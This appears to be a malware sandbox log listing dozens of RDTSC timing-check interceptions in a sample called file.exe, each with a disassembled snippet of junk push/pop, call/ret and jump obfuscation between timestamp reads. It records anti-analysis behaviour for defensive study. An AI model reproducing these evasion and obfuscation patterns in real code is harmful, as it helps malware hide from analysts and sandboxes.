Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14AE97F second address: 14AE983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14AE983 second address: 14AE987 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14AE987 second address: 14AE98D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14AF8AD second address: 14AF8B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14AF8B3 second address: 14AF8FD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 sbb bh, 00000021h 0x0000000c push 00000000h 0x0000000e je 00007F6AA0FFB731h 0x00000014 jmp 00007F6AA0FFB72Bh 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push eax 0x0000001e call 00007F6AA0FFB728h 0x00000023 pop eax 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 add dword ptr [esp+04h], 00000017h 0x00000030 inc eax 0x00000031 push eax 0x00000032 ret 0x00000033 pop eax 0x00000034 ret 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jnc 00007F6AA0FFB726h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14B0927 second address: 14B0931 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6AA0FF7BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14B0931 second address: 14B09C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB735h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c movzx ebx, ax 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F6AA0FFB728h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b or dword ptr [ebp+122D2E58h], eax 0x00000031 js 00007F6AA0FFB72Ch 0x00000037 mov ebx, dword ptr [ebp+122D28D5h] 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push edx 0x00000042 call 00007F6AA0FFB728h 0x00000047 pop edx 0x00000048 mov dword ptr [esp+04h], edx 0x0000004c add dword ptr [esp+04h], 00000016h 0x00000054 inc edx 0x00000055 push edx 0x00000056 ret 0x00000057 pop edx 0x00000058 ret 0x00000059 sbb bh, 0000003Ah 0x0000005c and ebx, 346BA79Fh 0x00000062 xchg eax, esi 0x00000063 push esi 0x00000064 push ebx 0x00000065 push eax 0x00000066 pop eax 0x00000067 pop ebx 0x00000068 pop esi 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c je 00007F6AA0FFB728h 0x00000072 pushad 0x00000073 popad 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14AFA7E second address: 14AFA89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F6AA0FF7BF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14B0B19 second address: 14B0B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14B1BBE second address: 14B1C1F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6AA0FF7C05h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f mov dword ptr [ebp+12468A7Ah], esi 0x00000015 push dword ptr fs:[00000000h] 0x0000001c push ebx 0x0000001d sbb bh, FFFFFFA7h 0x00000020 pop ebx 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 mov ebx, 45F922BBh 0x0000002d mov eax, dword ptr [ebp+122D1371h] 0x00000033 mov ebx, 24818CD4h 0x00000038 push FFFFFFFFh 0x0000003a cmc 0x0000003b nop 0x0000003c jno 00007F6AA0FF7C00h 0x00000042 push eax 0x00000043 pushad 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14B0B1D second address: 14B0B21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14B1C1F second address: 14B1C2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F6AA0FF7BF6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14AFB99 second address: 14AFB9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14B2CF7 second address: 14B2D02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F6AA0FF7BF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14B4A7A second address: 14B4A7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14B5C98 second address: 14B5CA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6AA0FF7BFCh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14B5CA4 second address: 14B5D33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov bh, ah 0x0000000a push dword ptr fs:[00000000h] 0x00000011 jmp 00007F6AA0FFB72Bh 0x00000016 mov dword ptr fs:[00000000h], esp 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007F6AA0FFB728h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 00000019h 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 push esi 0x00000038 mov bx, 00B6h 0x0000003c pop ebx 0x0000003d or ebx, 6F432A6Fh 0x00000043 mov eax, dword ptr [ebp+122D07B9h] 0x00000049 push ecx 0x0000004a adc bl, 00000017h 0x0000004d pop edi 0x0000004e call 00007F6AA0FFB72Ah 0x00000053 jnc 00007F6AA0FFB734h 0x00000059 pop ebx 0x0000005a push FFFFFFFFh 0x0000005c mov dword ptr [ebp+122D350Dh], edx 0x00000062 movzx edi, si 0x00000065 push eax 0x00000066 jng 00007F6AA0FFB72Eh 0x0000006c push eax 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14B7AB6 second address: 14B7AD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6AA0FF7C05h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14B7AD4 second address: 14B7ADE instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6AA0FFB72Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14BC722 second address: 14BC726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14BC1AE second address: 14BC1C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push edx 0x0000000d pop edx 0x0000000e popad 0x0000000f je 00007F6AA0FFB72Ch 0x00000015 jng 00007F6AA0FFB726h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14BC1C9 second address: 14BC1D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14BC1D1 second address: 14BC1DB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6AA0FFB726h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14C084E second address: 14C0853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14C0853 second address: 14C0872 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB72Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e je 00007F6AA0FFB726h 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14C0872 second address: 14C087C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F6AA0FF7BF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14C087C second address: 14C0880 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14C0A6F second address: 14C0A8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14C0A8D second address: 14C0AAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F6AA0FFB72Bh 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 push edx 0x00000017 pop edx 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14C75A3 second address: 14C75B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14C75B9 second address: 14C75D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB72Ah 0x00000007 jmp 00007F6AA0FFB72Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14C80A4 second address: 14C80E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F6AA0FF7BFAh 0x00000012 je 00007F6AA0FF7BF6h 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d jg 00007F6AA0FF7C03h 0x00000023 pushad 0x00000024 popad 0x00000025 jmp 00007F6AA0FF7BFBh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14C80E6 second address: 14C80F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F6AA0FFB726h 0x0000000a jnl 00007F6AA0FFB726h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14C8277 second address: 14C8281 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14C8281 second address: 14C82A1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jbe 00007F6AA0FFB726h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6AA0FFB732h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14C863E second address: 14C8667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F6AA0FF7BF6h 0x00000010 jmp 00007F6AA0FF7C09h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14C8667 second address: 14C867E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB731h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14C87E1 second address: 14C87E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14C87E5 second address: 14C8804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jnc 00007F6AA0FFB726h 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pop edi 0x00000019 je 00007F6AA0FFB726h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14C8804 second address: 14C8818 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F6AA0FF7BFEh 0x0000000c pushad 0x0000000d popad 0x0000000e js 00007F6AA0FF7BF6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14C8818 second address: 14C881E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14C881E second address: 14C8822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 144FD04 second address: 144FD0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 144FD0A second address: 144FD12 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14CD6B2 second address: 14CD6B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14CD6B8 second address: 14CD6BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14CD6BE second address: 14CD6CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jo 00007F6AA0FFB726h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14CD9CC second address: 14CD9E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C05h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14CD9E6 second address: 14CD9EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14CDE3E second address: 14CDE44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14CDE44 second address: 14CDE4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14CDE4A second address: 14CDE52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14CDE52 second address: 14CDE5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14CDE5D second address: 14CDE69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6AA0FF7BF6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14CDE69 second address: 14CDE6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14CDE6E second address: 14CDE8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C06h 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F6AA0FF7BF6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14D58EE second address: 14D58F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14D58F6 second address: 14D5911 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14D5911 second address: 14D593F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB732h 0x00000007 jnp 00007F6AA0FFB732h 0x0000000d jl 00007F6AA0FFB726h 0x00000013 jng 00007F6AA0FFB726h 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push edx 0x0000001e push edi 0x0000001f pop edi 0x00000020 pop edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14D593F second address: 14D594F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7BFAh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14D594F second address: 14D5955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1462486 second address: 146248A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 146248A second address: 14624C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007F6AA0FFB730h 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 jmp 00007F6AA0FFB733h 0x00000015 jmp 00007F6AA0FFB72Eh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14D4659 second address: 14D4679 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F6AA0FF7C02h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F6AA0FF7BF6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14D4679 second address: 14D468A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB72Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A3869 second address: 14A3873 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6AA0FF7BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A3C35 second address: 14A3C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A3C3A second address: 14A3C40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A3C40 second address: 14A3C44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A3D8C second address: 14A3DA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jbe 00007F6AA0FF7BF6h 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 js 00007F6AA0FF7BFEh 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A405D second address: 14A4061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A4061 second address: 14A408F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FF7C05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6AA0FF7C01h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A408F second address: 14A40D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jbe 00007F6AA0FFB726h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jno 00007F6AA0FFB72Ah 0x00000018 mov eax, dword ptr [eax] 0x0000001a push esi 0x0000001b jmp 00007F6AA0FFB732h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jbe 00007F6AA0FFB72Ch 0x0000002d jp 00007F6AA0FFB726h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A40D3 second address: 14A40D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A41BE second address: 14A41C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F6AA0FFB726h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A41C8 second address: 14A41CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14A4B93 second address: 1483D25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6AA0FFB726h 0x0000000a popad 0x0000000b pop edi 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F6AA0FFB728h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 call dword ptr [ebp+122D3946h] 0x0000002f push edx 0x00000030 jo 00007F6AA0FFB731h 0x00000036 jmp 00007F6AA0FFB72Bh 0x0000003b pop edx 0x0000003c jp 00007F6AA0FFB749h 0x00000042 jl 00007F6AA0FFB743h 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14D4C76 second address: 14D4C7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14D4C7A second address: 14D4C7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14D4C7E second address: 14D4C94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F6AA0FF7BFEh 0x0000000e jnl 00007F6AA0FF7BF6h 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14D4C94 second address: 14D4CA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AA0FFB72Ch 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14D4E22 second address: 14D4E4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F6AA0FF7C04h 0x0000000a pop eax 0x0000000b jnl 00007F6AA0FF7BFCh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 14D4E4F second address: 14D4E55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
